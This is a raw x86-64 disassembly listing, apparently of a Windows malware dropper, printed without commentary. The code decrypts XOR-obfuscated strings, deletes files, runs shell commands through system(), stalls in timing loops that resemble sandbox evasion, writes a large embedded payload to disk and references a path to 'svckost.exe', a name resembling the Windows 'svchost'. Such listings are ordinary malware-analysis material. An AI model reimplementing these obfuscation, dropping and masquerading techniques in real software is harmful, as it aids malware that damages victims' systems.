mov ecx, dword [rbp + 0x1c610]
imul eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x11580]
lea rcx, [rbp + 0x1c620]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
sub ecx, eax
mov dword [rbp + 0x1c610], ecx
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, r12
jne 0x140062ea0
lea rcx, [rsp + 0x70]
call fcn.14005c4e0
cmp qword [rax], r14
jl 0x140062e90
mov eax, dword [rbp + 0x1c610]
lea rdx, [rbp + 0xd4]
call fcn.140064300
mov r10, rax
mov r15d, dword [reloc.WS2_32.dll_accept]
mov ebx, 4
lea edi, [rbx + 0x1b]
cmp byte [rax + 0x34], 0
je 0x140063110
mov r8d, esi
cmp r15d, 2
jl 0x1400630d7
movdqa xmm5, xmmword [0x140161fc0]
movdqa xmm4, xmmword [0x1401621b0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140162000]
movd xmm8, edi
movdqa xmm0, xmmword [str.00000000000000006666666666666666]
movdqa xmmword [rsp + 0x20], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140062fd0
cmp r8d, 0x35
jge 0x140063110
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400630e0
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [rbp + 0x13e]
call fcn.140064340
mov r10, rax
cmp byte [rax + 0x3d], 0
je 0x1400632c0
mov r8d, esi
cmp r15d, 2
jl 0x140063287
movdqa xmm5, xmmword [0x140161fc0]
movdqa xmm4, xmmword [0x1401621b0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140162000]
movd xmm8, edi
movdqa xmm0, xmmword [str.00000000000000006666666666666666]
movdqa xmmword [rsp + 0x20], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140063180
cmp r8d, 0x3e
jge 0x1400632c0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x140063290
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x78]
call fcn.140064390
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140063469
mov r8d, esi
cmp r15d, 2
jl 0x140063432
movdqa xmm5, xmmword [0x140161fc0]
mov edx, esi
movdqa xmm4, xmmword [0x1401621b0]
mov r13d, 4
movd xmm6, r13d
movdqa xmm7, xmmword [0x140162000]
mov ebx, Ordinal_32
movd xmm8, ebx
movdqa xmm0, xmmword [str.00000000000000006666666666666666]
movdqa xmmword [rsp + 0x20], xmm0
mov rcx, rax
mov r8d, dword [rsp + 0x20]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140063331
jmp 0x140063473
mov r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140063440
mov r13d, 4
lea ebx, [r13 + 0x1b]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [rbp + 0x90]
call fcn.1400643b0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140063620
mov r8d, esi
cmp r15d, 2
jl 0x1400635e7
movdqa xmm5, xmmword [0x140161fc0]
movdqa xmm4, xmmword [0x1401621b0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140162000]
movd xmm8, ebx
movdqa xmm0, xmmword [str.00000000000000006666666666666666]
movdqa xmmword [rsp + 0x20], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400634e0
cmp r8d, 0x21
jge 0x140063620
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400635f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x12910]
call fcn.140069230
mov dword [rbp + 0x1c628], 0xffffff9c
mov dword [rbp + 0x1c62c], 0x64
mov dword [rbp + 0x1c610], esi
lea rcx, [rsp + 0x78]
call fcn.14005c4e0
mov r14, qword [rsp + 0x78]
add r14, 0x5f5e100
lea rcx, [rbp - 0x80]
call fcn.14005c4e0
cmp qword [rax], r14
jge 0x140063749
nop
mov edi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x12910]
lea rcx, [rbp + 0x1c628]
call fcn.1400693d0
mov ebx, eax
test eax, eax
cmove ebx, r12d
lea rdx, [rbp + 0x12910]
lea rcx, [rbp + 0x1c628]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
add eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x12910]
lea rcx, [rbp + 0x1c628]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
imul eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x12910]
lea rcx, [rbp + 0x1c628]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
sub ecx, eax
mov dword [rbp + 0x1c610], ecx
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x140063690
lea rcx, [rbp - 0x80]
call fcn.14005c4e0
cmp qword [rax], r14
jl 0x140063680
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x13ca0]
call fcn.140069230
mov dword [rsp + 0x60], 0xffffff9c
mov dword [rsp + 0x64], 0x64
mov dword [rbp + 0x1c610], esi
lea rcx, [rbp - 0x78]
call fcn.14005c4e0
mov r14, qword [rbp - 0x78]
add r14, 0x5f5e100
lea rcx, [rbp - 0x70]
call fcn.14005c4e0
cmp qword [rax], r14
jge 0x140063861
nop
mov edi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x13ca0]
lea rcx, [rsp + 0x60]
call fcn.1400693d0
mov ebx, eax
test eax, eax
cmove ebx, r12d
lea rdx, [rbp + 0x13ca0]
lea rcx, [rsp + 0x60]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
add eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x13ca0]
lea rcx, [rsp + 0x60]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
imul eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x13ca0]
lea rcx, [rsp + 0x60]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
sub ecx, eax
mov dword [rbp + 0x1c610], ecx
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x1400637b0
lea rcx, [rbp - 0x70]
call fcn.14005c4e0
cmp qword [rax], r14
jl 0x1400637a0
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x15030]
call fcn.140069230
mov dword [rsp + 0x30], 0xffffff9c
mov dword [rsp + 0x34], 0x64
mov dword [rbp + 0x1c610], esi
lea rcx, [rbp - 0x68]
call fcn.14005c4e0
mov r14, qword [rbp - 0x68]
add r14, 0x5f5e100
lea rcx, [rbp - 0x60]
call fcn.14005c4e0
cmp qword [rax], r14
jge 0x140063981
nop word [rax + rax]
mov edi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x15030]
lea rcx, [rsp + 0x30]
call fcn.1400693d0
mov ebx, eax
test eax, eax
cmove ebx, r12d
lea rdx, [rbp + 0x15030]
lea rcx, [rsp + 0x30]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
add eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x15030]
lea rcx, [rsp + 0x30]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
imul eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x15030]
lea rcx, [rsp + 0x30]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
sub ecx, eax
mov dword [rbp + 0x1c610], ecx
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x1400638d0
lea rcx, [rbp - 0x60]
call fcn.14005c4e0
cmp qword [rax], r14
jl 0x1400638c0
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x163c0]
call fcn.140069230
mov dword [rsp + 0x38], 0xffffff9c
mov dword [rsp + 0x3c], 0x64
mov dword [rbp + 0x1c610], esi
lea rcx, [rbp - 0x58]
call fcn.14005c4e0
mov r14, qword [rbp - 0x58]
add r14, 0x5f5e100
lea rcx, [rbp - 0x50]
call fcn.14005c4e0
cmp qword [rax], r14
jge 0x140063aa1
nop word [rax + rax]
mov edi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x163c0]
lea rcx, [rsp + 0x38]
call fcn.1400693d0
mov ebx, eax
test eax, eax
cmove ebx, r12d
lea rdx, [rbp + 0x163c0]
lea rcx, [rsp + 0x38]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
add eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x163c0]
lea rcx, [rsp + 0x38]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
imul eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x163c0]
lea rcx, [rsp + 0x38]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
sub ecx, eax
mov dword [rbp + 0x1c610], ecx
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x1400639f0
lea rcx, [rbp - 0x50]
call fcn.14005c4e0
cmp qword [rax], r14
jl 0x1400639e0
mov eax, dword [rbp + 0x1c610]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x290]
call fcn.140069160
nop
lea rdx, [rbp + 0x109]
call fcn.140064300
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140063c60
mov r8d, esi
cmp r15d, 2
jl 0x140063c28
movdqa xmm5, xmmword [0x140161fc0]
movdqa xmm4, xmmword [0x1401621b0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140162000]
mov edi, Ordinal_32
movd xmm8, edi
movdqa xmm0, xmmword [str.00000000000000006666666666666666]
movdqa xmmword [rsp + 0x20], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140063b21
cmp r8d, 0x35
jge 0x140063c60
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140063c30
mov rdx, r10
lea rcx, [rbp + 0x290]
call fcn.140069110
mov r8d, 0xf85600
lea rdx, [0x1401eb790]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x290]
call fcn.140046470
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x17750]
call fcn.140069230
mov dword [rsp + 0x40], 0xffffff9c
mov dword [rsp + 0x44], 0x64
mov dword [rbp + 0x1c610], esi
lea rcx, [rbp - 0x48]
call fcn.14005c4e0
mov r14, qword [rbp - 0x48]
add r14, 0x5f5e100
lea rcx, [rbp - 0x40]
call fcn.14005c4e0
cmp qword [rax], r14
jge 0x140063db1
nop word [rax + rax]
mov edi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x17750]
lea rcx, [rsp + 0x40]
call fcn.1400693d0
mov ebx, eax
test eax, eax
cmove ebx, r12d
lea rdx, [rbp + 0x17750]
lea rcx, [rsp + 0x40]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
add eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x17750]
lea rcx, [rsp + 0x40]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
imul eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x17750]
lea rcx, [rsp + 0x40]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
sub ecx, eax
mov dword [rbp + 0x1c610], ecx
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x140063d00
lea rcx, [rbp - 0x40]
call fcn.14005c4e0
cmp qword [rax], r14
jl 0x140063cf0
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x18ae0]
call fcn.140069230
mov dword [rsp + 0x48], 0xffffff9c
mov dword [rsp + 0x4c], 0x64
mov dword [rbp + 0x1c610], esi
lea rcx, [rbp - 0x38]
call fcn.14005c4e0
mov r14, qword [rbp - 0x38]
add r14, 0x5f5e100
lea rcx, [rbp - 0x30]
call fcn.14005c4e0
cmp qword [rax], r14
jge 0x140063ed1
nop word [rax + rax]
mov edi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x18ae0]
lea rcx, [rsp + 0x48]
call fcn.1400693d0
mov ebx, eax
test eax, eax
cmove ebx, r12d
lea rdx, [rbp + 0x18ae0]
lea rcx, [rsp + 0x48]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
add eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x18ae0]
lea rcx, [rsp + 0x48]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
imul eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x18ae0]
lea rcx, [rsp + 0x48]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
sub ecx, eax
mov dword [rbp + 0x1c610], ecx
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x140063e20
lea rcx, [rbp - 0x30]
call fcn.14005c4e0
cmp qword [rax], r14
jl 0x140063e10
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x19e70]
call fcn.140069230
mov dword [rsp + 0x50], 0xffffff9c
mov dword [rsp + 0x54], 0x64
mov dword [rbp + 0x1c610], esi
lea rcx, [rbp - 0x28]
call fcn.14005c4e0
mov r14, qword [rbp - 0x28]
add r14, 0x5f5e100
lea rcx, [rbp - 0x20]
call fcn.14005c4e0
cmp qword [rax], r14
jge 0x140063ff1
nop word [rax + rax]
mov edi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x19e70]
lea rcx, [rsp + 0x50]
call fcn.1400693d0
mov ebx, eax
test eax, eax
cmove ebx, r12d
lea rdx, [rbp + 0x19e70]
lea rcx, [rsp + 0x50]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
add eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x19e70]
lea rcx, [rsp + 0x50]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
imul eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x19e70]
lea rcx, [rsp + 0x50]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
sub ecx, eax
mov dword [rbp + 0x1c610], ecx
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x140063f40
lea rcx, [rbp - 0x20]
call fcn.14005c4e0
cmp qword [rax], r14
jl 0x140063f30
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1b200]
call fcn.140069230
mov dword [rsp + 0x58], 0xffffff9c
mov dword [rsp + 0x5c], 0x64
mov dword [rbp + 0x1c610], esi
lea rcx, [rbp - 0x18]
call fcn.14005c4e0
mov r14, qword [rbp - 0x18]
add r14, 0x5f5e100
lea rcx, [rbp - 0x10]
call fcn.14005c4e0
cmp qword [rax], r14
jge 0x140064111
nop word [rax + rax]
mov edi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1b200]
lea rcx, [rsp + 0x58]
call fcn.1400693d0
mov ebx, eax
test eax, eax
cmove ebx, r12d
lea rdx, [rbp + 0x1b200]
lea rcx, [rsp + 0x58]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
add eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x1b200]
lea rcx, [rsp + 0x58]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
imul eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x1b200]
lea rcx, [rsp + 0x58]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
sub ecx, eax
mov dword [rbp + 0x1c610], ecx
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x140064060
lea rcx, [rbp - 0x10]
call fcn.14005c4e0
cmp qword [rax], r14
jl 0x140064050
mov eax, dword [rbp + 0x1c610]
lea rdx, [0x140161100]
lea rcx, [rbp + 0x40]
call fcn.1400487e0
mov dl, 1
mov rcx, rax
call fcn.14005dc40
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.C:WindowsSoftwareDistributionDownload_svckost.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov r10, rax
lea rdx, [rbp + 0x10]
call fcn.1400643e0
mov r9, rax
cmp byte [rax + 0xd], 0
je 0x1400642ad
cmp r15d, 2
jl 0x140064279
movdqa xmm4, xmmword [0x1401621b0]
movd xmm5, r13d
mov eax, Ordinal_32
movd xmm6, eax
movdqa xmm2, xmmword [0x140161fc0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140162000]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
mov eax, dword [str.00000000000000006666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9]
pxor xmm2, xmm0
movd dword [r9], xmm2
movdqa xmm3, xmmword [0x140161fe0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
